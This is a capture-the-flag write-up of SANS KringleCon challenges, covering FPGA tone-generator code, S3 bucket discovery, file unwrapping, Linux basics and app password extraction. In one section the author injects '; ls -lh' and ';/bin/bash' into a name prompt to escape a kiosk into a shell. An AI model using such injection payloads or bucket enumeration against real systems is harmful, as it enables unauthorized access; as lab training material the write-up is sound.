If you don't know much about logic gates, it's something you should look up.

If you help me run the elevator, maybe I can help you with something else.

I'm pretty good with FPGAs, if that's worth something to ya'.

Let's see the controls:

Well, Jack's office seems to be on the 16th floor. We could take the stairs, but it's a pretty steep slope. Let's try and fix the elevator:

Alright, so we have some illuminated inputs going through a maze of logic gates, and the three outputs must be illuminated to make the elevator work. So I was messing around with the logic gates and got the correct answer by chance, so I can't really give you a logic breakdown on how I found it 🤷‍♂️ But here's the correct answer:

To understand why this works, I advise you read the Wikipedia article on logic gates.

FPGA Programming

Oh boy, this one was a doozy! It did remind me of a simpler time when I was a young lad in engineering school, learning about FPGA programming, which I sucked at. And apparently, I still suck at it!

Exercise #4 Objective: Students must prove their design before being allowed to program an actual device. The student's model must produce a 500Hz, 1KHz, and 2KHz square wave accurately AND accurately produce a square wave of a randomly chosen frequency. This tool will run the model under simulation, passing it the appropriate register values and measuring the frequency of the resulting square wave.

Important: Students MUST perform all simulation tests with the SAME code. If the code is changed, all tests will need to be re-run.

Prof. Qwerty Petabyte

So, we must program an FPGA that can produce a square wave with frequencies 500Hz, 1kHz, 2kHz, and any random frequencies. I strongly recommend watching Prof Petabyte's talk on the subject. He introduces an example of SystemVerilog code that makes a LED blink on and off every second.

I copied this code hereafter, and I heavily based my solution on it:

module blink (
    input clock_100Mhz, // 100 Mhz clock source on Basys 3 FPGA
    input reset, // reset
    output blinky
);

    reg [26:0] one_second_counter;
    reg blinker;
    assign blinky = blinker;

    always @(posedge clock_100Mhz or reset)
    begin
        if (reset==1)
            begin
                one_second_counter <= 0;
                blinker <= 0;
            end
        else
            begin
                if (one_second_counter >= 100000000)
                    begin
                        one_second_counter <= 0;
                        blinker <= blinker ^ 1'b1;
                    end
                else
                    one_second_counter <= one_second_counter + 1;
            end
    end
endmodule

Basically, the code creates a counter. At every positive edge of our reset, we initialize our variables. At every positive edge of our 100 MHz clock, the counter is incremented. When it is greater than or equal to 100000000, it means that one second has passed, (since our clock goes up 100000000 times per second). Therefore, we reinitialize the counter, and switch the value of blinker.

Now, our code basically has to do the same thing, with some specificities:

Our clock runs at 125 MHz, not 100 MHz.
The frequency is given as NNNNDD to specify a wanted frequency of NNNN.DD Hz.
We want to generate a square wave that is up for half the period and down for the other half of the period.

With these constraints in mind, here's the formula to compute the target value for our counter:

counter_real = 125000000.0 ⁄ (freq ⁄ 100.0) ⁄ 2

We have to divide freq by 100 because of the format it is given in. We have to divide everything by 2 because we want to switch states in the middle of our period.

Now, we're supposed to round this counter. Prof Petabytes gives us a nice trick to know if we need to round up or not:

Good luck and always remember:

If $rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1

$rtoi is the SystemVerilog functions that converts a real number to an integer number.

We now have everything we need to compute our counter. Here's the final code:

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    // TODO: Add your code below.
    // Remove the following line and add your own implementation.
    // Note: It's silly, but it compiles...
    reg [31:0] counter;
    real counter_real = 0;
    reg wave_status;

    assign wave_out = wave_status;

    always @(posedge clk or posedge rst)
    begin
        if(rst == 1)
        begin
            counter <= 0;
            counter_real <= 125000000.0/(freq/100.0)/2;
            if ($rtoi(counter_real * 10) - ($rtoi(counter_real) * 10) > 4)
            begin
                counter_real <= counter_real + 1;
            end
            wave_status <= 0;

        end

        else
        begin
            if (counter == 0)
            begin
                counter <= $rtoi(counter_real) - 1;
                wave_status <= wave_status ^ 1'b1;
            end

            else
            begin
                counter <= counter - 1;
            end
        end
    end
endmodule

You'll notice that we're counting down from our target value, instead of counting up, like it was done with the blinking LED. I spent sooo much time trying to get it to work by counting up, but to no avail. Thanks to John_r2 in the Discord for pointing me in the right direction, and thanks to sand for pointing me to the explanation in the Discord:

pc: For all the folks that suffered the same problem as I did. I believe (I'm no expert) the simulator started timer at the next positive edge of the clock cycle after the reset button was pushed. In other words, the time period between the reset positive edge and next clock positive edge doesn't count. That will affect your frequency calculation.

crahan: Yup that's exactly correct. The rising edge on the reset can not be taken into account for your counter. If you count up, you should set your counter to 1 lower when there's a reset than when you loop back after reaching the max value in a loop in order to account for that.

Anyway, let's try to run our code:

Very nice, we programmed our FPGA chip to play random square waves!

Conclusion

Now that our FPGA is programmed to generate arbitrary frequencies, we can use it in the Speak & Spell next to us:

We just have to drag-and-drop our FPGA chip on the socket and...

A freaking spaceship appears! Let's climb into it to see what's inside:

Icy Sickles says

We come in peace! I am Icy Sickles from ice Planet Frost.

Many centuries ago, we Frostian trolls sent an expedition to study your planet and peoples.

Jack Frost, scion of Planet Frost’s ruling family, captained that long-ago mission, which carried many hundreds of our people to your planet to conduct our research.

Erin Fection says

I am Erin Fection, the pilot of this interstellar spaceship.

Our first expedition established a base in the land of Oz, where our researchers became known as “Munchkins.”

We received a message from them long ago about a Great Schism, where the Frostian expedition split into two warring factions: Munchkins and Elves.

Thankfully, they managed to establish an uneasy peace by relocating the Elves to the North Pole.

Since then, we have heard nothing from the expedition. They went interstellar radio silent. Until NOW.

Butterpcup says

I am Buttercup, Princess of ice Planet Frost.

Thanks to your help, we received the message from the device summoning us back to Earth to address the recent unpleasantness.

We had no idea that Jack Frost would cause such trouble! We sincerely apologize.

We will take Jack back home to Planet Frost, along with all the other trolls.

The Elves and Munchkins, of course, can remain if they opt to do so.

Fear not, we WILL bring Jack and any guilty trolls to justice for their infractions. They will not bother your planet any longer.

Again, we apologize for all the troubles he has caused, and we sincerely THANK YOU for your help!

And, now that you've helped us solve everything, feel free to show off your skills with some swag - only for our victors!

Jack Frost says

I was just having a little fun. C’mon, man!

And, I was just getting started! I had such big plans!

I don’t want to go home!!!

Santa Claus says

The Frostians have reached out to me via video link. They’ve explained to me all that has happened.

I’d like to thank you for your truly excellent work in foiling Jack’s plans and ensuring that he is finally brought to justice.

On behalf of all of us here at the North Pole, we wish you and yours a happy and healthy Holiday Season.

Thank you and HAPPY HOLIDAYS from me and all of the elves.

Ho Ho Ho!

Happy Holidays to you too, Santa, to the elves, and to everyone reading this write-up!

As usual, thanks to the SANS team for this wonderful Christmas Challenge! I had so much fun and was really happy to have the opportunity to develop skills that I don't usually work on, like x64 assembly or FPGA programming.

See you next year!

Answer to the questions

Get your bearings at KringleCon.

Talked to Jingle Ringford, got my badge and my WiFi adapter!

Help Tangle Coalbox find a wayward elf in Santa's courtyard.

The wayward elf was Piney Sappington during my run.

Turn up the heat to defrost the entrance to Frost Tower.

We set the temperature to 1337 by abusing the API without authentication.

Test the security of Jack Frost's slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element.

The data.response contains the string I'm going to have some bouncer trolls bounce you right out of this casino!.

Assist the elves in reverse engineering the strange USB device.

The username involved in this attack is ickymcgoop.

Complete the Shellcode Primer in Jack's office. According to the last challenge, what is the secret to KringleCon success? "All of our speakers and organizers, providing the gift of ____, free to the community."

The string in /var/northpolesecrets.txt is Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community..

Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)?

The last file printed with an .xlsx extension is Troll_Pay_Chart.xlsx

Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal.

The first ingredient is Kindness.

Help Angel Candysalt solve the Splunk challenge in Santa's great hall. Fitzy Shortstack is in Santa's lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?

Santa calls us a whiz.

What is the secret access key for the Jack Frost Tower job applications server?

The secret access key is CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX.

A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces.

The trolls are called Flud, Hagg, and Yaqh.

Investigate Frost Tower's website for security issues. This source code will be useful in your analysis. In Jack Frost's TODO list, what job position does Jack plan to offer Santa?

Jack wants to offer Santa a clerk job position.

Write your first FPGA program to make a doll sing.

We got our FPGA program to output custom frequencies.

SANS Christmas Challenge 2020

2021-01-11T00:00:00+01:00

Oh, the COVID is frightful,

But KringleCon is so delightful,

And since we must all stay home,

Let it pwn! Let it pwn! Let it pwn!

Here's my write-up for the 2020 SANS Christmas Challenge.

Table of contents

Introduction
Objective 1: Uncover Santa's Gift List
Objective 2:
- Shinny Upatree's Cranberry Pi Challenge
- Investigate S3 Bucket
Objective 3:
- Sugarplum Mary's Cranberry Pi Challenge
- Point-of-Sale Password Recovery
Objective 4:
- Pepper Minstix's Cranberry Pi Challenge
- Operate the Santavator
Objective 5:
Objective 6: Splunk Challenge
- Answering the training questions
- Answering the challenge question
Objective 7:
- Wunorse Openslae's Cranberry Pi Challenge
- Solve the Sleigh's CAN-D-BUS Problem
Objective 8:
- Holly Evergreen's Cranberry Pi challenge
- Broken Tag Generator
  - All the dead ends, yay!
  - The right solution
Objective 9:
- Alabaster Snowball's Cranberry Pi Challenge
- ARP Shenanigans
Objective 10: Defeat Fingerprint Sensor
Objective 11:
- Naughty/Nice List with Blockchain Investigation Part 1
- Naughty/Nice List with Blockchain Investigation Part 2
Conclusion
Answer to the questions

Introduction

A new KringleCon is taking place, and it's being hosted at Santa's new castle.

Santa's castle is under construction to accommodate for KringleCon's growing population of attendees. However, the elves seem to think that Santa has been behaving rather strangely, especially since Jack Frost offered him a portrait. In fact, isn't it weird that Jack Frost is here, since the Tooth Fairy seems to have colluded with him to sabotage last year's KringleCon?

This requires some investigation!

Here are the questions we must answer:

There is a photo of Santa's Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays?
When you unwrap the over-wrapped file, what text string is inside the package?
Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What's the password?
Talk to Pepper Minstix in the entryway to get some hints about the Santavator.
Open the HID lock in the Workshop.
Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?
Jack Frost is somehow inserting malicious messages onto the sleigh's CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh.
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ?
Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?
Bypass the Santavator fingerprint sensor. Enter Santa's office without Santa's fingerprint.
a. Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000?

b. The SHA256 of Jack's altered block is: 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f. If you're clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you've recreated the original block, what is the SHA256 of that block?

Objective 1: Uncover Santa's Gift List

We are greeted at the gondola by Jingle Ringford:

Jingle Ringford says

Welcome! Hop in the gondola to take a ride up the mountain to Exit 19: Santa's castle!

Santa asked me to design the new badge, and he wanted it to look really cold - like it was frosty.

Click your badge (the snowflake in the center of your avatar) to read your objectives.

If you'd like to chat with the community, join us on Discord!

We have specially appointed Kringle Koncierges as helpers; you can hit them up for help in the #general channel!

If you get a minute, check out Ed Skoudis' official intro to the con!

Oh, and before you head off up the mountain, you might want to try to figure out what's written on that advertising bilboard.

Behind the gondola, we can see said billboard:

We can see that a gift list is on Santa's desk, but it's been twirled. We can use GIMP to try and untwirl it, so that we can see who will get what.

First, let's use the free-hand selection to select the gift list:

Then, let's use the twirl effect, under Filters > Distort > Whirl and Pinch:

Oh boy, okay, it's not the prettiest correction, but we can make out what it says:

Ed - Two front teeth

- OU Jersey

Jeremy - Blanket

Brian -

Josh Wright - Proxmark

Clay - Darth Vader Suit

Tad - Holiday Lights

Phil - Stuffed Pikachu

Jerry - Trip to North Pole

So Santa is planning on offering a Proxmark to Josh Wright, nice!

Now, let's ride the gondola!

Objective 2:

We finally arrive at Santa's castle:

Santa says

Hello and welcome to the North Pole!

We’re super excited about this year’s KringleCon 3: French Hens.

My elves have been working all year to upgrade the castle.

It was a HUGE construction project, and we’ve nearly completed it.

Please pardon the remaining construction dust around the castle and enjoy yourselves!

There are also three French hens:

Pierre, Marie, and Jean-Claude say

Bonjour !

Joyeuses fêtes !

Jacques DuGivre !

Shinny Upatree's Cranberry Pi Challenge

Welcome to our castle, we're so glad to have you with us!
Come and browse the kiosk; though our app's a bit suspicious.
Poke around, try running bash, please try to come discover,
Need our devs who made our app pull/patch to help recover?
Escape the menu by launching /bin/bash

We press enter, and we are greeted by a menu. We have several options, such as displaying the castle's map, or the code of conduct, but the fourth option, printing the name badge, seems to be the most interesting:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Welcome to the North Pole!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Map
2. Code of Conduct and Terms of Use
3. Directory
4. Print Name Badge
5. Exit
Please select an item from the menu by entering a single number.
Anything else might have ... unintended consequences.
Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...useless
 _________
< useless >
 ---------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||
Press [Enter] key to continue...

We input our name, wich seems to be passed as an argument to cowsay (or reindeersay or something). And we're told to avoid special characters... So let's input special characters!

Enter your name (Please avoid special characters, they cause some weird errors)...; ls -lh
 _______________________
< Santa's Little Helper >
 -----------------------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||
total 4.0K
-rwxr-xr-x 1 root root 2.5K Dec  6 12:24 welcome.sh

As you can see, our payload after the semi-colon, ls -lh was executed. The initial prompt told us to execute /bin/bash, so let's oblige:

Enter your name (Please avoid special characters, they cause some weird errors)...;/bin/bash
 _______________________
< Santa's Little Helper >
 -----------------------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||
   ___                                                      _
  / __|   _  _     __      __      ___     ___     ___     | |
  \__ \  | +| |   / _|    / _|    / -_)   (_-<    (_-<     |_|
  |___/   \_,_|   \__|_   \__|_   \___|   /__/_   /__/_   _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Type 'exit' to return to the menu.
shinny@a15f68a2d576:~$

And bingo, we have a shell! We can even take a look inside welcome.sh to see the vulnerable function:

four() {
  read -r -p "Enter your name (Please avoid special characters, they cause some weird errors)..." name
  if [ -z "$name" ]; then
    name="Santa\'s Little Helper"
  fi
  bash -c "/usr/games/cowsay -f /opt/reindeer.cow $name"
  pause
}

We can even see that there is a surprise command, displaying the content of /opt/plant.txt:

surprise(){
  cat /opt/plant.txt
  echo "Sleeping for 10 seconds.." && sleep 10
}

shinny@913bd6bfa881:~$ cat /opt/plant.txt
  Hi, my name is Jason the Plant!
  ( U
   \| )
  __|/
  \    /
   \__/ ejm96

Investigate S3 Bucket

Can you help me? Santa has been experimenting with new wrapping technology, and
we've run into a ribbon-curling nightmare!
We store our essential data assets in the cloud, and what a joy it's been!
Except I don't remember where, and the Wrapper3000 is on the fritz!
Can you find the missing package, and unwrap it all the way?
Hints: Use the file command to identify a file type. You can also examine
tool help using the man command. Search all man pages for a string such as
a file extension using the apropos command.
To see this help again, run cat /etc/motd.
elf@34d399b25d38:~$

We must help Shinny find Santa's assets in the cloud. Let's explore the file system:

elf@2b6fbc08838a:~$ ls
TIPS  bucket_finder
elf@2b6fbc08838a:~$ cd bucket_finder/
elf@2b6fbc08838a:~/bucket_finder$ ls
README  bucket_finder.rb  wordlist
elf@2b6fbc08838a:~/bucket_finder$ ./bucket_finder.rb --help
bucket_finder 1.0 Robin Wood (robin@digininja.org) (www.digininja.org)
Usage: bucket_finder [OPTION] ... wordlist
        --help, -h: show help
        --download, -d: download the files
        --log-file, -l: filename to log output to
        --region, -r: the region to use, options are:
                                        us - US Standard
                                        ie - Ireland
                                        nc - Northern California
                                        si - Singapore
                                        to - Tokyo
        -v: verbose
        wordlist: the wordlist to use

We have a script, bucket_finder, which takes a wordlist, and tries to see if it's the name of a valid AWS S3 bucket. Let's take a look at the wordlist:

elf@2b6fbc08838a:~/bucket_finder$ cat wordlist
kringlecastle
wrapper
santa

Only three words. Looking at the earlier message of the day, we see that the elves use something called Wrapper3000. Let's add it to the wordlist, and launch the script.

elf@2b6fbc08838a:~/bucket_finder$ echo wrapper3000 >> wordlist
elf@2b6fbc08838a:~/bucket_finder$ ./bucket_finder.rb ./wordlist
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
        Bucket found but access denied: santa
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
        <Public> http://s3.amazonaws.com/wrapper3000/package

We have found our package! Let's download it using bucket_finder's --download option:

elf@2b6fbc08838a:~/bucket_finder$ ./bucket_finder.rb -d ./wordlist
[...]
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
        <Downloaded> http://s3.amazonaws.com/wrapper3000/package

Let's see what we got:

elf@2b6fbc08838a:~/bucket_finder$ cd wrapper3000/
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ ls
package
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ file package
package: ASCII text, with very long lines
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ cat package
UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6
AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PV
M9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXM
HBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLt
PN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6Ygyj
X0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst
2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNP
xHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAA
AKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAA
EAAQBiAAAA9QEAAAAA

This looks like base64 encoded data. Let's decode it:

elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ base64 -d < package > package_decoded
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ file package_decoded
package_decoded: Zip archive data, at least v1.0 to extract

The decoded data seems to be a ZIP archive. Let's rename the file and unzip it:

elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ mv package_decoded{,.zip}
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ unzip package_decoded.zip
Archive:  package_decoded.zip
 extracting: package.txt.Z.xz.xxd.tar.bz2

Wow, this package seems to have been wrapped in lots of layers of compression. Let's start with the last extensions, the .tar.bz2:

elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ tar xjf package.txt.Z.xz.xxd.tar.bz2
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ cat package.txt.Z.xz.xxd
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101  .7zXZ......F..!.
00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede  ....t/....,...N.
00000020: c8a1 8306 0494 376c cae8 0041 054d 1910  ......7l...A.M..
00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d  F...C'M.........
00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6  ..E..D.......)..
00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d  d..$..E-.RW....}
00000060: 0100 0000 0004 595a                      ......YZ

The .xxd file seems to be a binary representation of the original file, generated with xxd -c 16. We can decode it using xxd -r -c 16:

elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ xxd -r -c 16 < package.txt.Z.xz.xxd > package.txt.Z.xz
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ file package.txt.Z.xz
package.txt.Z.xz: XZ compressed data

We now have XZ compressed data. We can use unxz to decompress it:

elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ unxz package.txt.Z.xz
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ file package.txt.Z
package.txt.Z: compress'd data 16 bits

Finally, we have a file that seems to have been compressed, using the compress command. We can use uncompress to retrieve the original file:

elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ uncompress package.txt.Z
elf@2b6fbc08838a:~/bucket_finder/wrapper3000$ cat package.txt
North Pole: The Frostiest Place on Earth

We finally get the content of the file, North Pole: The Frostiest Place on Earth.

Objective 3:

Sugarplum Mary's Cranberry Pi Challenge

The North Pole 🍭 Lollipop Maker:
All the lollipops on this system have been stolen by munchkins. Capture munchkins by following instructions here and 🍭's will appear in the green bar below. Run the command "hintme" to receive a hint.



───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Type "yes" to begin:

This terminal is a Linux challenge where we have to prove that we have a basic understanding of common Linux commands. Let's start:

Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop!

elf@c339776b4a9d:~$ ls
HELP  munchkin_19315479765589239  workshop

Now find the munchkin inside the munchkin.

elf@c339776b4a9d:~$ cat munchkin_19315479765589239
munchkin_24187022596776786

Great, now remove the munchkin in your home directory.

elf@c339776b4a9d:~$ rm munchkin_19315479765589239

Print the present working directory using a command.

elf@c339776b4a9d:~$ pwd
/home/elf

Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin!

elf@c339776b4a9d:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .munchkin_5074624024543078  .profile  HELP  workshop

Excellent, now find the munchkin in your command history.

elf@c339776b4a9d:~$ grep -i munchkin .bash_history
echo munchkin_9394554126440791

Find the munchkin in your environment variables.

elf@c339776b4a9d:~$ set | grep -i munchkin
SESSNAME='Munchkin Wrangler'
z_MUNCHKIN=munchkin_20249649541603754

Next, head into the workshop.

elf@c339776b4a9d:~$ cd workshop/

A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the munchkin is in.

elf@c339776b4a9d:~/workshop$ grep -i munchkin *
grep: electrical: Is a directory
toolbox_191.txt:mUnChKin.4056180441832623

A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin.

elf@c339776b4a9d:~/workshop$ ls -l ./lollipop_engine
-r--r--r-- 1 elf elf 5692640 Dec 10 18:19 ./lollipop_engine
elf@c339776b4a9d:~/workshop$ chmod +x ./lollipop_engine
elf@c339776b4a9d:~/workshop$ ./lollipop_engine
munchkin.898906189498077

Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.

elf@c339776b4a9d:~/workshop$ cd electrical/
elf@c339776b4a9d:~/workshop/electrical$ mv blown_fuse0 fuse0

Now, make a symbolic link (symlink) named fuse1 that points to fuse0

I never remember the order of the arguments for ln and always have to check it up:

elf@c339776b4a9d:~/workshop/electrical$ ln -s ./fuse0 ./fuse1

Make a copy of fuse1 named fuse2.

elf@c339776b4a9d:~/workshop/electrical$ cp ./fuse1 ./fuse2

We need to make sure munchkins don't come back. Add the characters "MUNCHKIN_REPELLENT" into the file fuse2.

elf@c339776b4a9d:~/workshop/electrical$ echo MUNCHKIN_REPELLENT > ./fuse2

Find the munchkin somewhere in /opt/munchkin_den.

The -type f specifies that we are looking for a file. The -iname argument is used to perform a case-insensitive search on the name.

elf@c339776b4a9d:~/workshop/electrical$ find /opt/munchkin_den/ -type f -iname '*munchkin*'
/opt/munchkin_den/apps/showcase/src/main/resources/mUnChKin.6253159819943018

Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin.

elf@c339776b4a9d:~/workshop/electrical$ find /opt/munchkin_den/ -user munchkin
/opt/munchkin_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411

Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den.

elf@c339776b4a9d:~/workshop/electrical$ find /opt/munchkin_den/ -size +108k -size -110k
/opt/munchkin_den/plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724

List running processes to find another munchkin.

elf@c339776b4a9d:~/workshop/electrical$ ps aux | grep -i munchkin
elf      16735  0.7  0.0  84316 26016 pts/2    S+   12:13   0:00 /usr/bin/python3 /14516_munchkin
elf      17668  0.0  0.0  13240  1068 pts/3    S+   12:14   0:00 grep --color=auto -i munchkin

The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen.

elf@c339776b4a9d:~/workshop/electrical$ ss -tlpn
bash: ss: command not found

What? No ss?! Let's do it the old fashioned way:

elf@c339776b4a9d:~/workshop/electrical$ netstat -tlpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN      16735/python3

The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin.

elf@c339776b4a9d:~/workshop/electrical$ curl http://localhost:54321
munchkin.73180338045875

Your final task is to stop the 14516_munchkin process to collect the remaining lollipops.

From the result of the earlier netstat command, we see that the PID of the process is 16735:

elf@c339776b4a9d:~/workshop/electrical$ kill -9 16735

Congratulations, you caught all the munchkins and retrieved all the lollipops!

Point-of-Sale Password Recovery

When we try to interact with the Point-of-Sale, we're greeted by a message saying it's locked, and offering to download an offline version:

You can download the offline version here (make sure you run it into a Virtual Machine, don't run random executable files you find on the Internet, stay safe, wear a mask and wash your hands).

So, let's run the executable:

Hmm, it seems to be an auto-extracting archive. Let's see where the files are extracted. We can do so by opening task manager, right clicking on the process and select "Open file location":

The files are extracted in the %LOCALAPPDATA%\Programs\santa-shop:

We can now access the resources of the program. Let's interact a bit with the application, for example by entering an incorrect password:

We get the message Invalid password!. Let's search for this string in the program resources:

$ grep -aR 'Invalid password!' ./santa-shop/
./santa-shop/resources/app.asar:      document.getElementById('password-message').innerText = 'Invalid password!';

The file resources/app.asar is a match! Let's open it and see the code:

const checkPassword = (event) => {
  event.preventDefault();

  const theirPassword = document.getElementById('password').value;

  window.ipcRenderer.invoke('unlock', theirPassword).then((result) => {
    if(result) {
      closeOverlay();
    } else {
      document.getElementById('password-message').innerText = 'Invalid password!';
      setTimeout(() => {
        document.getElementById('password-message').innerText = '';
      }, 2000);
    }
  });
};

By digging around the file, we can find the unlock function:

ipcMain.handle('unlock', (event, password) => {
  return (password === SANTA_PASSWORD);
});

The password is compared to a variable called SANTA_PASSWORD. We can find its value in the same file:

const SANTA_PASSWORD = 'santapass';

So, using the password santapass, we can unlock the POS:

Objective 4:

Pepper Minstix's Cranberry Pi Challenge

Can you help me?

I was playing with my birdie (she's a Green Cheek!) in something called tmux,
then I did something and it disappeared!

Can you help me find her? We were so attached!!
elf@d6ba776b7158:~$

From the message, we gather that we must attach to a tmux session. Let's see the different sessions available:

elf@58113bd45bb4:~$ tmux list-sessions
0: 1 windows (created Tue Dec 22 15:13:15 2020) [80x24]

Only one session, let's attach to it:

elf@58113bd45bb4:~$ tmux attach-session -t 0

Operate the Santavator

We're supposed to talk to Pepper Minstix to get information about the Santavator:

Pepper Minstix says

There's a Santavator that moves visitors from floor to floor, but it's a bit wonky.

You'll need a key and other odd objects. Try talking to Sparkle Redberry about the key.

For the odd objects, maybe just wander around the castle and see what you find on the floor.

Once you have a few, try using them to split, redirect, and color the Super Santavator Sparkle Stream (S4).

So, we can get the key directly from Sparkle Redberry:

Sparkle Redberry says

Hey hey, Sparkle Redberry here!

The Santavator is on the fritz. Something with the wiring is grinchy, but maybe you can rig something up?

Here's the key! Good luck!

With the key, we can open the control pannel:

Ok, we can see the sparkle stream that Pepper Minstix mentioned. He also said that we can use objects to redirect the stream. Maybe to the three colored nozzles? There's also some kind of access plan, that tells us which colored nozzles we must use to get access to which floor:

